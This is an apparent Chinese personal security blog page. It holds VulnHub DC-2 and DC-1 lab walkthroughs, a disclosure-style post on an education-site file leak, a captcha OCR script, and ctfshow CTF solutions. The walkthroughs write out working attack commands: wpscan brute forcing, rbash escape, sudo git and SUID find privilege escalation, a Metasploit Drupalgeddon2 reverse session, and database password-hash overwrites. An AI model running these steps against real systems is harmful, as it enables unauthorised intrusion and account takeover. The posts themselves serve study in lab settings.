LOADING

加载过慢请开启缓存 浏览器默认开启

youbing的博客

记录学习与生活

技术博客,分享编程学习笔记

DC-2靶机练习

2026/9/10

靶机安装

在vulnhub上下载DC-2靶机DC:2 ~ VulnHub

解压文件后,使用vm打开,创建名称和选择位置导入即可。

靶场练习

先探查同一网段下存活的主机找一下靶机的ip,用nmap输入命令。

nmap -sn 192.168.179.0/24

找到靶机的ip地址。

用nmap扫描一下开放端口。

nmap -p- --min-rate 10000 192.168.179.140

发现一个80端口开放了http服务,访问发现ip自动变成了http://dc-2/。
因为无法解析域名所以访问失败,在host文件中添加解析。

echo "192.168.179.140 dc-2" | sudo tee -a /etc/hosts

成功访问并找到flag1。
flag1暗示暴力破解,先找到登录界面,用dirsearch扫一下。

dirsearch -u http://dc-2/

找到后台登录界面。

准备暴力破解,先枚举一下用户名。

wpscan --url http://dc-2 --enumerate u


根据网站生成一份字典。

cewl http://dc-2/ > password.txt


然后对枚举出来的用户名进行爆破。

wpscan --url http://dc-2 --passwords password.txt

只跑出jerry和tom的密码。

jerry / adipiscing   
tom / parturient  

登录jerry,在pages中找到flag2。

登录tom没有发现有用信息。

靶机还开了一个ssh服务在7744端口,尝试连接,jerry一直连不上用tom连上了。

ls看看有什么东西,找到flag3。

查看flag3的内容,好像还不让cat。

看看能用什么命令。

compgen -c

发现有一个编辑命令。

编辑flag3.txt也能查看内容。

vi flag3.txt

这里应该是要用su提权到jerry,直接用su发现行不通。

尝试vi进行rbash逃逸再提权。

vi 任意文件

:set shell=/bin/bash

:shell

执行成功后可以cd..返回上级。

然后进入jerry目录,ls发现flag4.

再用vi查看flag4.txt。

现在离最后的flag很近了,之前su命令用不了,尝试用环境变量提权。

BASH_CMDS[a]=/bin/sh;a         //把/bin/sh给a

/bin/bash

export PATH=$PATH:/bin/         //添加环境变量

export PATH=$PATH:/usr/bin      //添加环境变量

现在已经提权到jerry,看看jerry能干嘛。

sudo -l

发现能够不用root权限使用git,结合flag4的提示这里用git提权。

先调窄窗口让回显信息不能一页显示,然后执行git hlep,在分页器界面输入!/bin/bash。

stty rows 20 cols 80

sudo git help config

!/bin/bash

执行完输入whoami,回显root。

cd /root 就能找到最后的flag了,cat final-flag.txt查看。

靶机复盘

攻击链

查找ip->端口扫描->dirseach扫描找登录界面->wpscan用户名枚举->cewl字典生成->wpscan暴力破解->ssh连接->环境变量提权->水平越权->git提权

阅读全文

DC-1靶机练习

2026/9/6

靶机搭建

访问vulnhub官网下载镜像文件DC:1 ~ VulnHub

673

用vm打开靶机

靶场练习

打开发现靶机需要登录但是没有给到账号密码,猜测可能是需要自己去获得密码。


先用nmap扫描网段内存活的主机找到靶机的ip地址

nmap -sn 192.168.179.0/24

扫描到4个存活ip,没有发现靶机IP。查找原因发现靶机用的是桥接模式,而攻击机用的是nat模式,可能攻击机和靶机不在一个网段导致nmap无法扫描到靶机。

将靶机改为nat模式后重启,再次使用nmap扫描,发现靶机ip:192.168.179.139。

拿到ip后对靶机开放端口进行扫描。

nmap -p- --min-rate 10000 192.168.179.139

对开放端口做一次详细扫描,在扫描的时候查看一下靶机开放的web服务

nmap -p 22,80,111,51783 -sV -sC -O 192.168.179.139

发现多个公开漏洞,启动msfconsole。


使用 drupalgeddon2 模块,设置好参数。

use exploit/unix/webapp/drupal_drupalgeddon2

set RHOSTS 192.168.179.139
set RPORT 80
set LHOST 192.168.179.135    # 你的 Kali IP
set LPORT 4444               # 本地监听端口

run                          #运行

利用Drupal 7 漏洞(CVE-2018-7600)漏洞获得了一个 Meterpreter 会话

输入shell,在靶机上执行命令,先输入whoami查看一下当前用户名。


目前只是www-data,目标是root,所以接下来要想办法进行提权。
利用当前账号进行一些简单的信息收集。

id
uname -a
cat /etc/issue
cat /etc/debian_version


发现使用Debian 7.11,查询是否存在历史漏洞,发现存在多个公开提权漏洞。


先查找SUID文件,有些 SUID 程序(如 find、vim、bash)如果以 root 所有并且设置了 SUID 位,可以被滥用获得 root shell。

find / -perm -4000 -type f 2>/dev/null


先验证 find 确实是 SUID root


利用find提权,但是提权失败了

/usr/bin/find / -name anything -exec /bin/bash -p -c '/bin/bash -p' \; -quit

ls查看一下www用户能看到什么


发现一个flag1,cat查看一下内容


内容提示查看配置文件,找一下配置文件的位置

cat `find / -name settings.php`

查看内容找到flag2和数据库账号密码


连接数据库查看,这里遇到数据库连接不上的问题,本地连接数据库看看mysql是否正常运行。

mysql -u root -p

输入命令发现让我们输入密码,证明mysql是正常运行的。

找了一下问题原因,发现是shell无法正确处理MYSQL的交互终端,这里用一个伪终端来让输出正常显示。

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -pR0ck3t

输入命令后正常回显。

先查询数据库

show databases;

发现特殊数据库drupaldb


查看数据中的表名

use drupaldb; show tables;


有一个users表查看一下

select * from users;

获得账号和密码


修改密码来登录账号,先找到加密文件。

exit

先退出MYSQL,ls查看一下。发现脚本文件。

打开scripts发现一个密码哈希的文件


查看文件内容

cat password-hash.sh

[Open: Pasted image 20260908143854.png](/images/2f6b74eae36956afefa2252c6a798691_MD5.jpg
用加密脚本加密123456

php scripts/password-hash.sh 123456

password: 123456                
hash: $S$Du92ZLzvch5cdl142zYtR.POdkTWhDRHSOdlSrH47XxN/FYrDDOX

重新连接MYSQL把密码改成123456

mysql -udbuser -pR0ck3t

UPDATE users
SET pass = '$S$DwSsuJZg9sNMnzfvkOg4EKvt7lMBdQ95kMfBrim.0EXmCA71skhh'
WHERE name = 'admin' OR name = 'Fred';

改完之后打开网站登录admin账号,在find content中找到flag3.

查看flag3,内容提示passwd和shadow

查看passwd发现flag4

提权获得root权限

find . -exec /bin/sh \; -quit

靶机复盘

攻击链

查找ip->端口扫描->web服务识别 → Drupal 漏洞利用 → 获取 www-data → 配置文件获取数据库凭据 → 数据库操作 → 获取管理员权限 → SUID find 提权 → root

遇到的问题

1、扫描存活ip没有扫到靶机ip

原因:靶机与攻击机网络设置不同,通过扫描攻击机网段无法扫描到靶机。

解决方法:将攻击机和靶机使用统一网络适配器,让两台机器在同一网站

2、第一次利用提权失败

原因: 第一次的命令

/usr/bin/find / -name anything -exec /bin/bash -p -c '/bin/bash -p' \; -quit

只有找到anything文件才执行后面的-exec,-exec在命令中不执行所以提权失败。

解决方法:直接执行-exec

find . -exec /bin/sh \; -quit

反思:这里已经知道find具有SUID root权限,但在一次提权失败后没有找原因就直接放弃,直接导致后续大量工作的产生,非常不应该的决定。

3、shell连接MYSQL失败

原因:使用的shell无法正确处理MYSQL的交互终端。

解决方法:创建一个伪终端来让输出输出正常显示,创建命令:

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -pR0ck3t
阅读全文

记一次教育网站信息泄漏问题的挖掘思路

2026/8/12

声明

本文仅用于记录个人安全学习与漏洞挖掘过程,旨在分享漏洞发现思路、安全分析方法以及防护建
议。本文重点在于分享漏洞产生原因和安全防护思路,不提供针对真实系统的利用方法、自动化测试方案或数据获取方式。任何组织或个人在进行安全测试时,应确保已获得明确授权,并遵守相关法律法规及平台规则。

背景

在日常安全测试学习过程中,对某教育网站公开资源进行观察时,发现部分文件存在访问控制问题。

初始发现

在访问某公开页面时,注意到页面中存在附件资源,资源已经过了规定的公示时间,但是仍然能够下载,而且附件内容包含个人敏感信息。

分析过程

过程:

页面->附件链接->文件服务器->直接返回文件

分析:

获得泄漏信息全程仅需网站正常下载附件的操作不需要专业知识和工具。

漏洞影响

该漏洞利用难度低普通人群也能利用获取到个人敏感信息;

部分泄漏出来的敏感信息常被高校用于统一身份认证登录的账号或默认密码,该漏洞虽然不直接影响其它漏洞的出现,但增加了统一身份认证这种屏障被突破的风险;

漏洞本身泄漏出来的个人信息,可能导致隐私暴露和被社工的风险。

漏洞原因分析

对于存在公开周期的文件,未在结束后及时删除或限制;

在公开界面中放置带敏感信息的文件。

后续发现

经过复盘发现这种资源公开模式是高校普遍存在的,那么可能其它地方也存在同样的问题,进一步测试发现该问题有一定的普遍性。

修复建议

开发:
文件权限控制;

敏感文件脱敏;

公示结束自动失效。

管理:
定期检查历史附件;
建立文件清理机制。

总结

这次经历让我认识到实际环境中安全问题不一定来自复杂漏洞,权限管理和数据生命周期同样可能产生安全风险。一个漏洞的出现可能在另一个地方存在相同的漏洞,漏洞在提交报告后并不一定代表着结束,复盘分析可能会带来额外的收获。

阅读全文

验证码识别绕过与防护

2026/6/13

前言

本篇文章主要介绍传统图形验证码绕过方式和防护手段,以及防护方面的思考。文章仅供学习,作者不鼓励、不支持任何未经授权的系统测试、数据获取或安全绕过行为。

示例

当发现网站验证码比较简单没有什么干扰比如

就可以尝试找到网站的验证码响应
然后保存下来利用EasyOCR识别验证码,这里放一个示例脚本

from PIL import Image
import numpy as np
import easyocr

reader = easyocr.Reader(['en'], gpu=False)

def recognize(path):
    img = Image.open(path).convert('RGB')
    arr = np.array(img)
    res = reader.readtext(arr)
    return ''.join([item[1] for item in res])

if __name__ == '__main__':
    img_path = input("请输入验证码图片路径(支持拖拽):").strip().strip('"')
    try:
        code = recognize(img_path)
        print(f"识别结果:{code}")
    except Exception as e:
        print(f"出错:{e}")

成功识别该验证码

作用

一些网站为了防止绕口令爆破会使用验证码进行防护,示例中虽然只验证了单次识别验证码,但是配合其它代码可能降低自动化请求的成本。

验证码失效原因

验证码样式过于简单,无干扰元素或干扰元素较弱(背景单一,干扰线无或过少,固定字体,格式统一)

如何进行防护

可能影响用户体验:

1、添加更多干扰元素减少识别成功率
2、改用滑块或行为验证码

对用户体验影响较小:

1、IP风控
2、风险评分系统

思考与总结

传统字符验证码作为独立安全措施具有较大风险,一个安全的认证需要更多手段结合构建一个完整的认证体系。滑块验证码和行为验证码在一定程度上增加了验证码的安全性,但是牺牲了用户体验(增加用户验证时长,增加用户操作步骤)。IP风控和风险评分系统在用户使用过程中影响较小,但是可能会对用户造成误伤,还有在使用过程中会增加维护成本。

阅读全文

ctfshow web应用安全与防护题解

2026/3/16

Base64编码隐藏

打开题目f12查看源码发现密码被base64加密

1773670223912

解码得到密码

1773670666647

登录得到flag

1773670740030

HTTP头注入

f12查看源码发现密码被base64加密

1773670223912

解码得到密码

1773670666647

登录提示只能ctf-show-brower登录

1773671083716

这里抓包修改(靶场默认开启https,删除s切换回http再抓包)

1773671245832

发送请求包得到flag

1773671327314

Base64多层嵌套解码

这里步骤跟“HTTP头注入”一样,只是中间的解码的步骤复杂了一些

第1步逆向:Base64解码 text atob(“SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=”)

第2步逆向:这一步是 btoa(‘aB3’ + encoded + ‘qW9’).substr(2) 对第1步结果Base64解码 得到完整字符串,前面补回2个字符 去掉开头的”aB3”和结尾的”qW9”

第3步逆向:这一步是 btoa(encoded.split(‘’).reverse().join(‘’)) 对第2步结果Base64解码 将字符串反转

第4步逆向:这一步是 btoa(encoded + ‘xH7jK’).slice(3) 对第3步结果Base64解码 开头补回3个字符 去掉结尾的”xH7jK”

第5步逆向:最后Base64解码,得到原始密码

阅读全文
1
avatar
youbing

你好!我是 youbing
这是我的技术博客
分享编程学习笔记和生活记录